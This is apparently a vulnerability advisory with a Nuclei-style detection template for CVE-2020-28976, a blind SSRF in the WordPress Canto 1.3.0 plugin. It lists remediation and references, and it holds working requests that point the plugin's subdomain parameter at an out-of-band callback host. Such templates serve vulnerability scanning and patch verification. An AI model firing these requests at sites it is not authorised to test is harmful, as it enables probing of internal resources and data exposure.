WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2020-28976
info:
name: WordPress Canto 1.3.0 - Blind Server-Side Request Forgery
author: LogicalHunter
severity: medium
description: WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.
remediation: |
Update WordPress Canto to the latest version (1.3.1) or apply the patch provided by the vendor.
reference:
- https://www.exploit-db.com/exploits/49189
- https://www.canto.com/integrations/wordpress/
- https://github.com/CantoDAM/Canto-Wordpress-Plugin
- https://nvd.nist.gov/vuln/detail/CVE-2020-28976
- http://packetstormsecurity.com/files/160358/WordPress-Canto-1.3.0-Server-Side-Request-Forgery.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-28976
cwe-id: CWE-918
epss-score: 0.20265
epss-percentile: 0.95323
cpe: cpe:2.3:a:canto:canto:1.3.0:*:*:*:*:wordpress:*:*
metadata:
max-request: 4
vendor: canto
product: canto
framework: wordpress
tags: cve2020,cve,packetstorm,ssrf,wordpress,wp-plugin,oast,edb,canto
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/canto/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Canto'
- 'Tested up to:'
condition: and
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}"
- "{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}"
- "{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "null"
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
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